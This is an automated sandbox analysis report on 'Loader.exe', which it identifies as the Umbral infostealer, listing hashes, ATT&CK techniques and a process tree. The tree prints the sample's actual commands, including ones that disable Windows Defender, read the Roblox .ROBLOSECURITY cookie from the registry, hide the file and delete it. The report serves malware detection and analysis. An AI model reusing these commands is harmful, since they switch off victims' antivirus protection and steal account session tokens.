umbral | cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19-01-2025 14:37

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General

Target

Loader.exe
Size

496KB
MD5

5679fd7303147ee1bc6c4adc979de286
SHA1

65354bef2646e0d6536ed4ca614839c4e245ad16
SHA256

cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16
SHA512

6d0f2241a55c1549cc9e02fdd7f0368548a3c933772ffb5a8a3bf47a9743470fe017f4bf6e5dad0f4b87111416418db67b6cb4a887378ee3ef88554e0f80c221
SSDEEP

12288:ZoZ1tlRk83Mlp6BpcCFdWXp8aLLy5MvOAs:q5r3bBpcCFdWXp8aLLy5yq

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2456-1-0x00000000000B0000-0x0000000000132000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe
2588	powershell.exe
3068	powershell.exe
2916	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Loader.exe

Deletes itself 1 IoCs

pid	Process
3052	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3052	cmd.exe
1084	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2124	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1084	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2456	Loader.exe
2760	powershell.exe
2588	powershell.exe
3068	powershell.exe
2020	powershell.exe
2916	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2456	Loader.exe
Token: SeIncreaseQuotaPrivilege	2096	wmic.exe
Token: SeSecurityPrivilege	2096	wmic.exe
Token: SeTakeOwnershipPrivilege	2096	wmic.exe
Token: SeLoadDriverPrivilege	2096	wmic.exe
Token: SeSystemProfilePrivilege	2096	wmic.exe
Token: SeSystemtimePrivilege	2096	wmic.exe
Token: SeProfSingleProcessPrivilege	2096	wmic.exe
Token: SeIncBasePriorityPrivilege	2096	wmic.exe
Token: SeCreatePagefilePrivilege	2096	wmic.exe
Token: SeBackupPrivilege	2096	wmic.exe
Token: SeRestorePrivilege	2096	wmic.exe
Token: SeShutdownPrivilege	2096	wmic.exe
Token: SeDebugPrivilege	2096	wmic.exe
Token: SeSystemEnvironmentPrivilege	2096	wmic.exe
Token: SeRemoteShutdownPrivilege	2096	wmic.exe
Token: SeUndockPrivilege	2096	wmic.exe
Token: SeManageVolumePrivilege	2096	wmic.exe
Token: 33	2096	wmic.exe
Token: 34	2096	wmic.exe
Token: 35	2096	wmic.exe
Token: SeIncreaseQuotaPrivilege	2096	wmic.exe
Token: SeSecurityPrivilege	2096	wmic.exe
Token: SeTakeOwnershipPrivilege	2096	wmic.exe
Token: SeLoadDriverPrivilege	2096	wmic.exe
Token: SeSystemProfilePrivilege	2096	wmic.exe
Token: SeSystemtimePrivilege	2096	wmic.exe
Token: SeProfSingleProcessPrivilege	2096	wmic.exe
Token: SeIncBasePriorityPrivilege	2096	wmic.exe
Token: SeCreatePagefilePrivilege	2096	wmic.exe
Token: SeBackupPrivilege	2096	wmic.exe
Token: SeRestorePrivilege	2096	wmic.exe
Token: SeShutdownPrivilege	2096	wmic.exe
Token: SeDebugPrivilege	2096	wmic.exe
Token: SeSystemEnvironmentPrivilege	2096	wmic.exe
Token: SeRemoteShutdownPrivilege	2096	wmic.exe
Token: SeUndockPrivilege	2096	wmic.exe
Token: SeManageVolumePrivilege	2096	wmic.exe
Token: 33	2096	wmic.exe
Token: 34	2096	wmic.exe
Token: 35	2096	wmic.exe
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeIncreaseQuotaPrivilege	2860	wmic.exe
Token: SeSecurityPrivilege	2860	wmic.exe
Token: SeTakeOwnershipPrivilege	2860	wmic.exe
Token: SeLoadDriverPrivilege	2860	wmic.exe
Token: SeSystemProfilePrivilege	2860	wmic.exe
Token: SeSystemtimePrivilege	2860	wmic.exe
Token: SeProfSingleProcessPrivilege	2860	wmic.exe
Token: SeIncBasePriorityPrivilege	2860	wmic.exe
Token: SeCreatePagefilePrivilege	2860	wmic.exe
Token: SeBackupPrivilege	2860	wmic.exe
Token: SeRestorePrivilege	2860	wmic.exe
Token: SeShutdownPrivilege	2860	wmic.exe
Token: SeDebugPrivilege	2860	wmic.exe
Token: SeSystemEnvironmentPrivilege	2860	wmic.exe
Token: SeRemoteShutdownPrivilege	2860	wmic.exe
Token: SeUndockPrivilege	2860	wmic.exe
Token: SeManageVolumePrivilege	2860	wmic.exe
Token: 33	2860	wmic.exe
Token: 34	2860	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2456 wrote to memory of 2096	2456	Loader.exe	31
PID 2456 wrote to memory of 2096	2456	Loader.exe	31
PID 2456 wrote to memory of 2096	2456	Loader.exe	31
PID 2456 wrote to memory of 2700	2456	Loader.exe	34
PID 2456 wrote to memory of 2700	2456	Loader.exe	34
PID 2456 wrote to memory of 2700	2456	Loader.exe	34
PID 2456 wrote to memory of 2760	2456	Loader.exe	36
PID 2456 wrote to memory of 2760	2456	Loader.exe	36
PID 2456 wrote to memory of 2760	2456	Loader.exe	36
PID 2456 wrote to memory of 2588	2456	Loader.exe	38
PID 2456 wrote to memory of 2588	2456	Loader.exe	38
PID 2456 wrote to memory of 2588	2456	Loader.exe	38
PID 2456 wrote to memory of 3068	2456	Loader.exe	40
PID 2456 wrote to memory of 3068	2456	Loader.exe	40
PID 2456 wrote to memory of 3068	2456	Loader.exe	40
PID 2456 wrote to memory of 2020	2456	Loader.exe	42
PID 2456 wrote to memory of 2020	2456	Loader.exe	42
PID 2456 wrote to memory of 2020	2456	Loader.exe	42
PID 2456 wrote to memory of 2860	2456	Loader.exe	44
PID 2456 wrote to memory of 2860	2456	Loader.exe	44
PID 2456 wrote to memory of 2860	2456	Loader.exe	44
PID 2456 wrote to memory of 1208	2456	Loader.exe	46
PID 2456 wrote to memory of 1208	2456	Loader.exe	46
PID 2456 wrote to memory of 1208	2456	Loader.exe	46
PID 2456 wrote to memory of 1776	2456	Loader.exe	48
PID 2456 wrote to memory of 1776	2456	Loader.exe	48
PID 2456 wrote to memory of 1776	2456	Loader.exe	48
PID 2456 wrote to memory of 2916	2456	Loader.exe	50
PID 2456 wrote to memory of 2916	2456	Loader.exe	50
PID 2456 wrote to memory of 2916	2456	Loader.exe	50
PID 2456 wrote to memory of 2124	2456	Loader.exe	52
PID 2456 wrote to memory of 2124	2456	Loader.exe	52
PID 2456 wrote to memory of 2124	2456	Loader.exe	52
PID 2456 wrote to memory of 3052	2456	Loader.exe	54
PID 2456 wrote to memory of 3052	2456	Loader.exe	54
PID 2456 wrote to memory of 3052	2456	Loader.exe	54
PID 3052 wrote to memory of 1084	3052	cmd.exe	56
PID 3052 wrote to memory of 1084	3052	cmd.exe	56
PID 3052 wrote to memory of 1084	3052	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2700	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2456
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2096
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
  2⤵
  - Views/modifies file attributes
  PID:2700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Loader.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1208
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2916
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2124
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Loader.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
aee772dccb25e85b606160da9fd66b75

SHA1
fa58fc55482d46c2409e0bfd7b3f6dd57a9b37b4

SHA256
6bdcebe09a55f9d71631ee7b512e063f4f6b2b2e749dfd6d9c816833b23715c4

SHA512
241d161daa035eb1c7f2269984a274c85f810a21dc454da63653a89166dc52f159a1f260379278493b1fa48a56c678e1155699ff84f8eb0ab904d3d9e38451cd

Download Submit
memory/2456-24-0x000007FEF5BE3000-0x000007FEF5BE4000-memory.dmp

Filesize
4KB

Download
memory/2456-1-0x00000000000B0000-0x0000000000132000-memory.dmp

Filesize
520KB

Download
memory/2456-2-0x000007FEF5BE0000-0x000007FEF65CC000-memory.dmp

Filesize
9.9MB

Download
memory/2456-50-0x000007FEF5BE0000-0x000007FEF65CC000-memory.dmp

Filesize
9.9MB

Download
memory/2456-39-0x000007FEF5BE0000-0x000007FEF65CC000-memory.dmp

Filesize
9.9MB

Download
memory/2456-0-0x000007FEF5BE3000-0x000007FEF5BE4000-memory.dmp

Filesize
4KB

Download
memory/2588-14-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2588-15-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2760-8-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2760-7-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2916-46-0x0000000002000000-0x0000000002008000-memory.dmp

Filesize
32KB

Download